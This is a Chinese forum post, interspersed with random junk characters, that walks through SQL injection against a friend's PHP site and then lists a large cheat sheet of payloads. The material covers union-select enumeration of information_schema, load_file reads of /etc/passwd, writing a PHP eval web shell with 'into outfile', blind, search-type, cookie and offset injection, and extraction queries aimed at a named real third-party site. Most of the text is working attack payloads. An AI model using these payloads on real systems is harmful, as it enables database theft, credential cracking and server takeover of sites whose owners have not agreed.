我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
9 N; e& k1 o) o' x1 _4 l让我看看,既然人家开口了,我也不好拒绝,那就看看吧?* h/ Q) ]* O4 M4 `$ s( C4 a* Q
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
/ f% G( i1 }% e6 c+ g/ } l, q( X如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。); ^# S3 A# ~( t) Y* E8 H' r
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)1 Y, ^" I! t8 D# |/ o
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:& g7 \; L7 G9 n4 g: b$ o3 q) l
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
( |* V/ r% r; z: H" R/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入% f6 Q# b( ~$ L. c" h( f0 g( |
* h& L0 n, l- {( O& R$ j/ ^7 ~
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,, l, D8 t; b i2 Y8 d& W2 }
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意" o* X) f* W. a( H# W+ D3 R
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息, P5 e+ ~3 \5 }3 c
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
S# ^( l% Z. B4 _7 f4 N有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
6 f7 T& O* d) M2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
( |0 J5 ]/ P1 c6 I1 o我就用的是第二个思路,6 r" {% e0 m4 ?' Y4 k" o
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
3 s' a( _; y# a) u6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,+ w% w/ K8 N$ b* C
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
v; J: [7 d: h! d, a% P注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
+ m) p5 H; @- F/ g7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
/ F+ s! g1 \3 X5 c7 l# v: z) N是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....8 D1 H& N% |) z$ G+ M% w% S: J8 E2 l8 C4 V
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
1 r# }- L$ k% }5 M然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,- _1 A- U" {8 I3 n6 k8 \; [
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......7 e/ P0 D: H) R. F: R8 i) [9 W0 a$ J
下面是一些很普遍注入方式资料:. q0 H# w- H1 g
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
# y- Q2 s8 C+ T# h) l拆半法# Y& k& u% g# O7 K9 Z/ B
######################################( W5 k) J7 @+ x
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
; N; v, o! W+ I. Zand exists (select * from admin)( W: ^! o' h7 j5 r4 }/ V1 _) W
and exists(select id from admin)
2 m7 ` z5 U7 Y% ` C5 Wand exists(select id from admin where id=1)
/ K. e0 Q: B" j C6 O, Cand exists(select id from admin where id>1)
4 P$ z& K- ]/ W/ U0 E- k4 ~0 d7 C然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
. L* v# L3 T) L1 ]* }+ `7 rand exists (select username from admin)
7 y. p2 f& P2 Vand exists (select password from admin)
' N) i; D/ \1 v3 l5 Xand exists (select id from admin where len(username)<10 and id=1)
# }9 ?- L' @* K3 E" }and exists (select id from admin where len(username)>5 and id=1)
: u R% V$ y l/ cand exists (select id from admin where len(username)=6 and id=1)" N# [* \. P! H4 G
and exists (select id from admin where len(password)<10 and id=1)1 O: @, M; S: _1 e. \; J1 q
and exists (select id from admin where len(password)>5 and id=1)
/ x3 u. ]! A6 @( ^and exists (select id from admin where len(password)=7 and id=1)
9 r3 y9 b7 i* u' f% f9 {2 `and (select top 1 asc(mid(username,1,1)) from admin)=97
, B+ C- ^7 G6 i6 m' k& c返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。/ r; Y- B' Q/ j
猜第二位把username,1,1改成username,2,1就可以了。
9 n4 m6 j) L) a7 o( U3 \2 k猜密码把username改成password就OK了* `; ], @, U% x; l
##################################################2 m4 `$ k6 U! v0 a1 s3 z% Q; R# D0 @
搜索型注入
8 [5 w R! J& U7 h* _0 M; _, O##################################
9 G1 G9 w! z$ A' h& ^6 |$ I" B%' and 1=1 and '%'='
E# k; t. u" L6 o8 t%' and exists (select * from admin) and '%'='
3 p* p9 E4 B) \) I/ P%' and exists(select id from admin where id=1) and '%'='
7 v3 W d: `% x7 g$ ]%' and exists (select id from admin where len(username)<10 and id=1) and '%'='0 U- [ V. b4 X# x
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
( m [% S6 T$ }- T8 e! w6 U%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
4 S* n R/ ?# z% V7 Q& l8 e0 x这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='' o- S5 u0 h- v4 [3 l3 A: U7 T
对于MSSQL数据库,后面可以吧 and '%'='换成--
# T5 L1 Q! T% f$ _+ f还有一点搜索型注入也可以使用union语句。9 P' s ?% a% \ R& K6 h4 [' A
########################################################
4 P4 A! A" Z0 Q" D联合查询。5 }4 W4 J4 D) M( V
#####################################
' o) j3 M, f; {, m9 X5 h+ w8 ?order by 103 k5 h4 Z+ G$ o) w7 l
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
J# a; q4 Z& `and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin! B/ x8 h, F1 ~' c' Y6 z9 y, E& f1 z
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
' h4 `) M2 m- Q很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!). F1 D* i: H8 b& `/ [
###################################
4 Y( g! w. d9 [3 `9 K' Ncookie注入4 S+ h. S5 g" ~9 r) ?" S. G
###############################8 y& }4 e" S0 b. Z5 z
http://www.******.com/shownews.asp?id=127
4 O8 V$ ^6 |8 \http://www.******.com/shownews.asp/ R$ e4 o" }8 f# u' B! V: I( z
alert(="id="+escape("127"));9 r5 V, V% a) j! T4 y& U$ F* S
alert(="id="+escape("127 and 1=1"));; O. w, e1 p. J4 \/ h
alert(="id="+escape("127 order by 10"));
) d$ F' E( N0 ~0 B# Y& Walert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));: Z" _) Y! \8 A" A% i' C& D. h
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
H8 \) W# X# I$ S; i5 m+ `2 t! f2 y这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。$ m E0 B6 I% i8 a$ G* I
###################################
* e9 N4 b8 X) e6 k# H' @偏移注入" f9 ^$ K$ Q z: q* A3 q
###########################################################
6 ^9 `% o5 x% |$ y9 k7 kunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin) |! i, k* x" h/ }( N, `. X2 b
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin) H' L0 b/ B! F& ?8 f+ {5 s
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
1 [. O* |* f1 Nunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id): M# M5 l; b% F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
7 r* P+ }% y3 y {8 Qunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
( F1 F# [6 O4 B( Gunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on/ V; z5 d) b) N* V
a.id=d.id)
6 y" c: A% ?0 A0 U* M1 |4 t! z0 jand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
9 O1 C; ~' ]6 ]5 I3 jand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 9 l7 V. j- ^$ I8 k
4 w* }, z! O- y* ?3 m" Q8 w
============================================================================================================% a" F# j C! p6 ^
1.判断版本
4 u5 H7 Y Q( n i" u8 O( i sand ord(mid(version(),1,1))>51
7 y& L e" i* H/ f* f3 W返回正常,说明大于4.0版本,支持ounion查询
5 I, B$ J4 l. R9 Q# O2 }2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解& S/ z6 z9 `4 ^7 g
and 2=4 union select 1,2,3,4,5,6,7,8,9--
) I) U0 _6 S4 p4 y& D3.查看数据库版本及当前用户,
! C, u& W' {3 z" Uand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
8 v- f+ Q$ r- w' A2 U数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,! q1 O! r' G4 T
4.判断有没有写权限
. }! y3 m5 O4 \1 Q! B( d0 J& Sand (select count(*) from MySQL.user)>0--
: ~, T$ t6 d) j2 x5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
& ]1 P/ H; {6 Z9 O用不了这个命令,就学习土耳其黑客手法,如下
; b5 i, p; m1 R7 f8 @; vand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
% l: w$ T; R2 B: t6.爆表,爆库
: X8 I" [; s+ E" u! L m, _and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--' D ^$ s! G$ t6 W5 a- G. n/ s
7.爆列名,爆表
8 ] S$ r5 X2 w `) Cand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--% Q/ [1 c _9 x" H' [" n- ]
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。' D7 Z% i$ z: G7 o# n. l5 j, ^
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
* G# F% b# J+ C' Z2 Y- n9 j0 z9.爆字段内容- j# @! @1 T/ o. _
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
4 p9 V" O/ i. {0 _ e- jhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |